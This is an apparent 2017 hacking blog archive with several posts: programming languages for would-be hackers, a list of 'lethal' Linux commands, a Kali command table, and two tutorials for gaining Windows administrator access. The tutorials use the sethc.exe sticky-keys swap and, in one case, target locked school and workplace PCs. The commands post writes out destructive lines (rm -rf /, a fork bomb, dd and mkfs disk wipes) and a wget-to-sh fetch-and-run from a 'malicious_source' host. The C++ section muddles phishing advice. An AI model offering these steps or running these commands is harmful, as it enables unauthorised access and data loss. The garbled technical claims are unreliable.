Monday, 31 July 2017

Most Essential Programming Languages To Become A Hacker

If you’re willing to become a hacker, then you might have already wasted your time googling things like, how to become a hacker or how to learn hacking and many more things like that. Well firstly, To learn something you need to know about it, and the purpose of it. So basically “Hacking” is one of the most misunderstood words in this world. People normally think, it is just a security breaking method, which involves different tricks to steal someone’s information and then use it for blackmailing purpose or to ruin the life of the victim. But that is literally not true.

Hacking can be defined as a penetrating test done by professionals in order to test the level of security of the respective system. But the person, who is performing those tests may vary. There are black hat hackers, who crack the system. And then we have ethical hackers, who work for the government to keep the system safe from black hat hackers.
  • Now you might have got the idea about hacking. You might consider asking yourself, which type of hacker you want to become. Either way, you need to learn few basic programming languages as a beginner. Basically, hacking is not everyone’s cup of tea. Only individuals with passion and dedication can become hackers.
  • In order to learn anything, you need to have basics and so is with hacking. Hacking is entirely based on programming, and you need to be very passionate and creative. Mostly, we learn these languages in colleges. But yet, we don’t know how to use them for various purposes. So in order to become a hacker, you need to think out of the box and practice writing programs to obtain your output.
  • Before mentioning the languages, I just want to share something, which is very important for a programmer to begin the journey of hacking. Before selecting a language, look out for the basic introducing and a basic program tutorial video on youtube. Try all the below languages and start with the one in which you are comfortable. Here are some languages below for beginners.

1. Python

Python is the best language to start. Since it is very easy to understand and, it will be useful to you for many purposes. Python is a general purpose programming language created in the late 1980s. It is used for testing microchips at Intel and things like building video games, So now you might have got the idea, why Python should be the first language to start with. Not only, it is easy to learn, but also it is used in things which I mentioned earlier.


2. C++

Now you might be wondering, why i mentioned C++, not C. The reason is quite simple, it has more functions than C. Also this is the best language for hacking social networking sites passwords. Basically, this language will help you to send legitimate-looking requests to the websites, And the victim will be fooled to enter the username and password. By doing this you can always trap people with no clue.


3. Java

Java is probably one of the most widely used languages in the entire globe. And it is famous for its years of legacy and consistency in the IT market. There are many tools, which are used for hacking and they are built by using java. So you need to learn this language and play with it creatively.


4. HTML

HTML is always in the top 5 of the list Since it plays a significant role in website developing. Hacking into any website or phishing attacks can be done with the good amount of knowledge in HTML. So learning this language will be a good idea as a beginner to practice hacking.

These are the basic languages, you should learn first. Then you can move to other languages like C, JavaScript. and few other things like jQuery, ExpressJS, NodeJS. The above languages are arranged in an order for a beginner. If you are familiar with any programming language already, you can start with it. Starting in the following order is not necessary.


  1.     Learn about Basic Computers and Hardware.
  2.     Learn C/C++ and Python (Most preferably). There are several online tutorials for free available on internet.
  3.     Get your Hands dirty with those languages (Both Application level and System level coding). Going to websites like HackerRank, you can practice your skills.
  4.     Learn about Computer Networks and several protocols.
  5.     Learn about OS internals (DOS, Windows, Linux etc)

Sunday, 30 July 2017

10 most lethal Linux commands you should never execute

10 Most Dangerous Commands – You Should Never Execute on Linux

We all agree that Linux’s terminal commands are powerful and yet easy to execute. It gives unbridled power to the programmer to execute commands without being worried of errors. One of the easiest Linux commands is for file deletion. The Linux ability to delete anything you want without question is a godsend, especially after having faced those “That file can’t be deleted” errors in Windows.

But the problem is that unlike Windows-based PCs, Linux doesn’t ask you for confirmation when it runs a command. These Linux commands can either delete your important system files or break your system and you have no way to recover from such executed commands.

 

Here are 10 Linux commands that you should never execute

 

1. rm -rf Command

 

Commonly known as the recursive delete command, the rm -rf command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with rm command are.

rm -rf /

   1.   rm command in Linux is used to delete files.
   2.   rm -r command deletes the folder recursively, even the empty folder.
   3.   rm -f command removes ‘Read only File’ without asking.
   4.   rm -rf / : Force deletion of everything in root directory.
   5.   rm -rf * : Force deletion of everything in current directory/working directory.
   6.  rm -rf . : Force deletion of current folder and sub folders. 

Hence, be careful when you are executing rm -rf command. To overcome accidental delete of file by ‘rm‘ command, create an alias of ‘rm‘ command as ‘rm -i‘ in “.bashrc” file, it will ask you to confirm every deletion.’

Note, these days on most Linux systems if you tried doing this you’d get a warning. But the warning isn’t guaranteed, so just don’t do it.


2. :(){:|:&};:  Command

 

This command is actually a fork bomb. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.

:(){:|:&};:

This fork bomb command defines a function named : that recursively calls itself twice when executed. One of the recursive calls happens in the foreground while the other happens in the background.

In other words, whenever this function executes, it spawns two child processes. Those child processes spawn their own child processes, and this cycle keeps going in an infinite loop. The only way out of it is to reboot the system. 

 

3. Format Hard Drive 

 

The terminal is especially tricky for Linux newbies because it provides several ways to accidentally wipe one’s hard drive. Recursive deletion is a big one, but here’s another: 

mkfs.ext3 /dev/hda

This command formats the hard drive to use the ext3 filesystem.The above command will format the block ‘sda’ and you would surely be knowing that after execution of the above command your Block (Hard Disk Drive) would be new, BRAND NEW! Without any data, leaving your system into unrecoverable stage.

 

4. Overwrite Hard Drive

 

Never use this command if your workstation contains life long work. At least disk formatting is an actual procedure with real-life uses; directly overwriting one’s drive, on the other hand, is not so great.

command > /dev/hda

In the command above, command can be replaced by any Bash command. The > operator redirects the output from the command on its left to the file on its right. In this case, it doesn’t matter what the output of the left command is. That raw data is being redirected and used to overwrite the system hard drive. This renders your Linux PC/laptop useless.

 

5. Wipe Hard Drive

 

This command will completely wipe out your hard drive. No data corruptions or overwrites; it will literally fill your hard drive with zeroes. While this command can be necessiated if you have to start afresh but wiping your hard drive is a bad idea.

dd if=/dev/zero of=/dev/hda

The dd command is a low-level instruction that’s mostly used to write data to physical drives. The ifparameter determines the source of data, which in this case is /dev/zero, a special on Linux that produces an infinite stream of zeroes. The of parameter determines the destination of those zeroes, which is the /dev/hda drive.

 

6. > file Command

 

The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> xt.conf” will write the configuration file or any other system or configuration file and lead to a complete breakdown of your PC/workstation.

 

7. Implode Hard Drive

 

For some special reasons, Linux has a special file called /dev/null that will discard whatever data is written to it. You can think of it as a black hole or a file shredder: anything given to it as input will be eaten up for good. You must have understood what I was alluding to. Running any command with /dev/null can shred that particular data file. However using the /dev/null with some other commands can be quite devastating for you.

mv / /dev/null

The above mv command tries to move the system’s root directory / into the black hole of /dev/null. This is a valid command and the result is devastating: the hard drive gets eaten up and there’s nothing left. Doing this will make your system unusable.

 

8. ^foo^bar
 

FUBAR stands for fucked up beyond all recognition/any repair/all reason. As the name suggests, this command if not used properly can fuck up your system. This command is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didn’t take the risk of thoroughly checking the change in original command using ^foo^bar command.

 

9. Cause Kernel Panic

While Windows has its infamous BSoD or Blue Screen of Death, Linux has a similar Blue Screen which is known as Kernel Panic. Sometimes, an internal error occurs from which recovery is impossible, so the system will enact something similar to the Blue Screen: a kernel panic.

    dd if=/dev/random of=/dev/port

    echo 1 > /proc/sys/kernel/panic

    cat /dev/port

    cat /dev/zero > /dev/mem

If the above commands aren’t important here. What is important is that running any of those lines will result in a kernel panic, forcing you to reboot your system. It’s best to stay away from these commands unless you’re absolutely sure you know what you’re doing.

 

10. Execute Remote Script

 

Here’s an innocent command that can actually be useful in day-to-day life on a Linux system. wget retrieves the contents of a web URL, which can be used to access websites or download files. However, there’s a simple trick that turns it dangerous:

wget http://an-untrusted-url -O- | sh



wget http://malicious_source -O- | sh  command will download a script from a malicious source and then execute it. Wget command will download the script and sh will execute the downloaded script.The above combination downloads the contents of the given URL and immediately feeds it to the sh command, which executes the downloaded contents in the terminal. If the URL were to point to a malicious script, you’d be sealing your own fate with this command.



Saturday, 29 July 2017

A to Z Kali Linux Commands

Kali Linux is a distribution derived from Debian. The distribution comes with 600 penetration-testing programs, including nmap (a port scanner), Wireshark (a packet analyzer), John the Ripper (a password cracker), Aircrack-ng (a software suite for penetration-testing wireless LANs), Burp suite and OWASP ZAP (both web application security scanners) all pre installed. The distribution can be run on a virtual machine or natively if installed on the computer’s hard drive. It can be booted using a CD or a live USB. It is a supported platform of the Metasploit Project’s Metasploit Framework, a tool for developing and executing security exploits.

Kali Linux Commands

Following is a list of all known Kali Linux Commands. We have sequenced it in an alphabetic order for the ease of search.

Kali Linux commands    Function

A
 apropos     Search Help manual pages (man -k)
 apt-get      Search for and install software packages (Debian)
 aptitude     Search for and install software packages (Debian)
 aspell        Spell Checker
 awk          Find and Replace text, database sort/validate/index
B
 basename     Strip directory and suffix from filenames
 bash           GNU Bourne-Again Shell
 bc              Arbitrary precision calculator language
 bg           Send to background
 break     Exit from a loop
 builtin     Run a shell builtin
 bzip2        Compress or decompress named files
 

C
 cal     Display a calendar
 case     Conditionally perform a command
 cat     Concatenate and print (display) the content of files
 cd     Change Directory
 cfdisk     Partition table manipulator for Linux
 chgrp     Change group ownership
 chmod     Change access permissions
 chown     Change file owner and group
 chroot         Run a command with a different root directory
 chkconfig     System services (runlevel)
 cksum          Print CRC checksum and byte counts
 clear          Clear terminal screen
 cmp          Compare two files
 comm         Compare two sorted files line by line
 command     Run a command – ignoring shell functions
 continue     Resume the next iteration of a loop
 cp             Copy one or more files to another location
 cron          Daemon to execute scheduled commands
 crontab     Schedule a command to run at a later time
 csplit     Split a file into context-determined pieces
 cut           Divide a file into several parts
 

D
 date     Display or change the date and time
 dc     Desk Calculator
 dd     Convert and copy a file, write disk headers, boot records
 ddrescue     Data recovery tool
 declare     Declare variables and give them attributes
 df     Display free disk space
 diff     Display the differences between two files
 diff3     Show differences among three files
 dig     DNS lookup
 dir     Briefly list directory contents
 dircolors     Colour setup for `ls’
 dirname     Convert a full pathname to just a path
 dirs     Display list of remembered directories
 dmesg     Print kernel & driver messages
 du     Estimate file space usage
 

E
 echo     Display message on screen
 egrep     Search files for lines that match an extended expression
 eject     Eject removable media
 enable     Enable and disable builtin shell commands
 env     Environment variables
 ethtool     Ethernet card settings
 eval     Evaluate several commands/arguments
 exec     Execute a command
 exit     Exit the shell
 expect     Automate arbitrary applications accessed over a terminal
 expand     Convert tabs to spaces
 export     Set an environment variable
 expr     Evaluate expressions
 

F
 false     Do nothing, unsuccessfully
 fdformat     Low-level format a floppy disk
 fdisk     Partition table manipulator for Linux
 fg     Send job to foreground
 fgrep     Search files for lines that match a fixed string
 file     Determine file type
 find     Search for files that meet a desired criteria
 fmt     Reformat paragraph text
 fold     Wrap text to fit a specified width
 for     Expand words, and execute commands
 format     Format disks or tapes
 free     Display memory usage
 fsck     File system consistency check and repair
 ftp     File Transfer Protocol
 function     Define Function Macros
 fuser     Identify/kill the process that is accessing a file
 

G
 gawk     Find and Replace text within files
 getopts     Parse positional parameters
 grep     Search files for lines that match a given pattern
 groupadd     Add a user security group
 groupdel     Delete a group
 groupmod     Modify a group
 groups     Print group names a user is in
 gzip     Compress or decompress named files
 

H
 hash     Remember the full pathname of a name argument
 head     Output the first part of files
 help     Display help for a built-in command
 history     Command History
 hostname     Print or set system name
 

I
 iconv     Convert the character set of a file
 id     Print user and group id’s
 if     Conditionally perform a command
 ifconfig     Configure a network interface
 ifdown     Stop a network interface
 ifup     Start a network interface up
 import     Capture an X server screen and save the image to file
 install     Copy files and set attributes
 

J
 jobs     List active jobs
 join     Join lines on a common field
 

K
 kill     Stop a process from running
 killall     Kill processes by name
 

L
 less     Display output one screen at a time
 let     Perform arithmetic on shell variables
 ln     Create a symbolic link to a file
 local     Create variables
locate     Find files
 logname     Print current login name
 logout     Exit a login shell
 look     Display lines beginning with a given string
 lpc     Line printer control program
 lpr     Off line print
 lprint     Print a file
 lprintd     Abort a print job
 lprintq     List the print queue
 lprm     Remove jobs from the print queue
 ls     List information about files
 lsof     List open files
 

M
 make     Recompile a group of programs
 man     Help manual
 mkdir     Create new folders
 mkfifo     Make FIFOs (named pipes)
 mkisofs     Create an hybrid ISO9660/JOLIET/HFS filesystem
 mknod     Make block or character special files
 more     Display output one screen at a time
 mount     Mount a file system
 mtools     Manipulate MS-DOS files
 mtr     Network diagnostics (traceroute/ping)
 mv     Move or rename files or directories
 mmv     Mass Move and rename files
 

N
 netstat     Networking information
 nice     Set the priority of a command or job
 nl     Number lines and write files
 nohup     Run a command immune to hangups
 notify-send     Send desktop notifications
 nslookup     Query Internet name servers interactively
 

O
 open     Open a file in its default application
 op         Operator access
 

P
 passwd     Modify a user password
 paste     Merge lines of files
 pathchk     Check file name portability
 ping     Test a network connection
 pkill     Stop processes from running
 popd     Restore the previous value of the current directory
 pr     Prepare files for printing
 printcap     Printer capability database
 printenv     Print environment variables
 printf     Format and print data
 ps     Process status
 pushd     Save and then change the current directory
 pwd     Print Working Directory
 

Q
 quota     Display disk usage and limits
 quotacheck     Scan a file system for disk usage
 quotactl     Set disk quotas
 

R
 ram     ram disk device
 rcp     Copy files between two machines
 read     Read a line from standard input
 readarray     Read from stdin into an array variable
 readonly     Mark variables/functions as readonly
 reboot     Reboot the system
 rename     Rename files
 renice     Alter priority of running processes
 remsync     Synchronize remote files via email
 return     Exit a shell function
 rev     Reverse lines of a file
 rm     Remove files
 rmdir     Remove folders
 rsync     Remote file copy (Synchronize file trees)
 

S
 screen     Multiplex terminal, run remote shells via ssh
 scp     Secure copy (remote file copy)
 sdiff     Merge two files interactively
 sed     Stream Editor
 select     Accept keyboard input
 seq     Print numeric sequences
 set     Manipulate shell variables and functions
 sftp     Secure File Transfer Program
 shift     Shift positional parameters
 shopt     Shell Options
 shutdown     Shutdown or restart linux
 sleep     Delay for a specified time
 slocate     Find files
 sort     Sort text files
 source     Run commands from a file
 split     Split a file into fixed-size pieces
 ssh     Secure Shell client (remote login program)
 strace     Trace system calls and signals
 su     Substitute user identity
 sudo     Execute a command as another user
 sum     Print a checksum for a file
 suspend     Suspend execution of this shell
 symlink     Make a new name for a file
 sync     Synchronize data on disk with memory 

T
 tail     Output the last part of file
 tar     Tape Archiver
 tee     Redirect output to multiple files
 test     Evaluate a conditional expression
 time     Measure Program running time
 times     User and system times
 touch     Change file timestamps
 top     List processes running on the system
 traceroute     Trace Route to Host
 trap     Run a command when a signal is set(bourne)
 tr     Translate, squeeze, and/or delete characters
 true     Do nothing, successfully
 tsort     Topological sort
 tty     Print filename of terminal on stdin
 type     Describe a command
 

U
 ulimit     Limit user resources
 umask     Users file creation mask
 umount     Unmount a device
 unalias     Remove an alias
 uname     Print system information
 unexpand     Convert spaces to tabs
 uniq     Uniquify files
 units     Convert units from one scale to another
 unset     Remove variable or function names
 unshar     Unpack shell archive scripts
 until     Execute commands (until error)
 uptime     Show uptime
 useradd     Create new user account
 usermod     Modify user account
 users     List users currently logged in
 uuencode     Encode a binary file
 uudecode     Decode a file created by uuencode
 

V
 v     Verbosely list directory contents (`ls -l -b’)
 vdir     Verbosely list directory contents (`ls -l -b’)
 vi     Text Editor
 vmstat     Report virtual memory statistics
 

W
 wait     Wait for a process to complete
 watch     Execute/display a program periodically
 wc     Print byte, word, and line counts
 whereis     Search the user’s $path, man pages and source files for a program
 which     Search the user’s $path for a program file
 while     Execute commands
 who     Print all usernames currently logged in
 whoami     Print the current user id and name (`id -un’)
 wget     Retrieve web pages or files via HTTP, HTTPS or FTP
 write     Send a message to another user
 

X
 xargs            Execute utility, passing constructed argument lists
 xdg-open     Open a file or URL in the user’s preferred application
 

Y
 yes      Print a string until interrupted


Do mention in the comments below if we have missed any Kali Linux Commands that you may know

Tuesday, 11 July 2017

How to Reset Your Forgotten Windows Password the Easy Way

Forgetting your password is never any fun, but luckily there’s a really easy way to reset the password. All you need is a copy of the Windows installation disk and one simple command line trick.

Resetting Your Forgotten Windows Password

Boot off the Windows disk (if you don’t have one, you can make one) and select the “Repair your computer” option from the lower left-hand corner.
Follow through until you get to the option to open the Command Prompt, which you’ll want to select.

First you’ll want to type in the following command to backup the original sticky keys file:

copy c:\windows\system32\sethc.exe c:\

 

Then you’ll copy the command prompt executable (cmd.exe) over top of the sticky keys executable:


copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

 

 Now you can reboot the PC.

Once you get to the login screen, hit the Shift key 5 times, and you’ll see an administrator mode command prompt.
Now to reset the password—just type the following command, replacing the username and password with the combination you want:

net user geek newpassword


That’s all there is to it. Now you can login.

Of course, you’ll probably want to put the original sethc.exe file back, which you can do by rebooting into the installation CD, opening the command prompt, and copying the c:\sethc.exe file back to c:\windows\system32\sethc.exe.

Thursday, 6 July 2017

How to Hack Windows 7 (Become Admin)

Step 1 Introduction:


Hello! Hackers
In this tutorial I will tell you how to hack windows 7 administrator password. However you already know (I think)
Specifically, it is used in school, computer labs or other workplaces,

where, administrator is locked with a password, while you can only use standard user or guest.

Step 2 Start That PC:
  • Turn on the UPS and the CPU, tap F8 continuesly on the boot screen to get some windows start-up options .




















  • Choose "Start windows normally" option and turn the UPS off immediately.
  • Then turn on the PC again, let it load.
  • After that you will be prompted with two options in the boot screen (again), select the first option - "Launch Start-up Repair(recommended)"
  • Let it load and Scan for issues.
  • After 5 min, It will ask you to "restore defaults", select "Cancel" option.
  • Let it continue...























Step 3 Wait for About 15-20 Minutes:

Now this is where the tricky part comes:
  • After 20 min, an error report screen will pop-up, asking to send information or not.






















  • Ignore it, click on "View Problem Details" arrow, scroll down to the end of the report, then click a link stating X:\windows\ something...something (the link starts with an"X")


















  • Another Window will pop-up, and will look like a notepad (it is a notepad)
  • Click File on the Menu-Bar, then select Open, and another window will pop-up (that's just too many windows!)
  • Navigate to C: drive (or whatever drive on which windows is installed), click Windows, then System32, after that click on the arrow beside the "File Type" option and select "all files"







  • Then search for a file named "sethc"(this is the shortcut to stickey keys), rename it to something else (Eg:abc)
  • Search for cmd, make its copy and rename the copy as "sethc"

--------------------------------------ITS DONE!!!---------------------------------------------
(Almost)

  • Close everything, restart the PC, go to the log-in screen, press shift 5 times, until a cmd (command prompt) pops-up.












  • Type in "net user administrator /active:yes", and this will activate the default administrator account of the PC.
  • Change/delete/manage/reset passwords from there.
  • Or you can directly change passwords from cmd, type "net user (admin/any admin account's name) and then after a space put an asterix.
Step 4 The End:

I know that many of you may know this vulnerability in Windows 7, I just wanted that a tutorial like this should be in R Rule Breaker.

Unfortunately, this vulnerability been overcame in Windows 8 :(

Thank You,
Rajesh

Why Do Hackers use LINUX?

The power and flexibility of Linux makes it the hacker’s playground. They use it, learn it, and understand it intimately. And that means that if there’s an insecurity, they’re going to find it. However the very reasons the hackers like Linux are the same reasons more folks are installing it on their own systems today. The ability to look at each and every line of Linux code, and patch it when problems arise, means that Linux can be secured not just by a few programmers locked away in some corporate headquarters, but by any user at any time..


Linux Is Open Source


Unlike Windows, Linux is open source. What that means for us is that the source code of the operating system is available to us. As such, we can change and manipulate it as we please. If you are trying to make a system operate in ways it was not intended, being able to manipulate the source code is essential.

Think of it this way. Could you imagine Microsoft giving us a plug-in/MMC or whatever to manipulate or change the kernel of Windows for hacking? Of course NOT!


Linux Is Transparent


To hack effectively, you must know and understand your operating system and to a large extent, the operating system you are attacking. Linux is totally transparent, meaning we can see and manipulate all its working parts.

Not so with Windows. Microsoft tries hard to make it as difficult or impossible to know the inner workings of their operating systems. As a result, when working with Windows you are working with "shadows" of what you think is going on under the hood, whereas in Linux you have a "spotlight" shining directly at at each and every component of the operating system. It goes without saying, I think, this makes working with Linux more efficient and effective.

Linux Offers Granular Control


Linux is granular. That means that we have almost infinite amount of control over the system. In Windows, you only can control what Microsoft allows you to control. In Linux, everything can be controlled by the terminal in the most miniscule to the most macro level. In addition, Linux makes scripting in any of the scripting languages simple and effective.


Most Hacking Tools Are Written for Linux


Well over 90% of all hacking tools are written for Linux. Of course, there are exceptions like Cain and Abel and Havij, but those exceptions simply emphasize the rule. Even when hacking tools such as Metasploit or nmap are ported for Windows, not all the capabilities transfer from Linux.

The Future Belongs to Linux/UNIX


This might seem like radical statement, but I firmly believe that the future belongs to Linux/Unix. Microsoft has had its day in the 1980s and '90s, but its growth is slowing and stagnating.

From the beginning of the Internet, Linux/UNIX has been the operating system of choice for web servers for its stability, reliability and robustness. Even today, Linux/UNIX dominates the world of web servers with well over two-thirds of the market. Embedded systems in routers, switches and other devices are almost always using a Linux kernel and the world of virtualization is dominated by Linux with both VMWare and Citrix built on the Linux kernel.

If you believe that the future of computing lies in mobile devices such as tablets and phones (it would hard to argue otherwise), then over 80% of mobile devices are running UNIX or Linux (iOS is UNIX and Android is Linux). Microsoft Windows on mobile devices have just 7% of this market. Is that the wagon you want to be hitched to?

Hacking isn't for the uninitiated. Hacking is an elite profession among the IT field. As such, it requires extensive and detailed understanding of IT concepts and technologies. At the most fundamental level, Linux is a requirement. I strongly suggest you invest the time and energy into using and understanding it, if you want to make hacking and information security your career.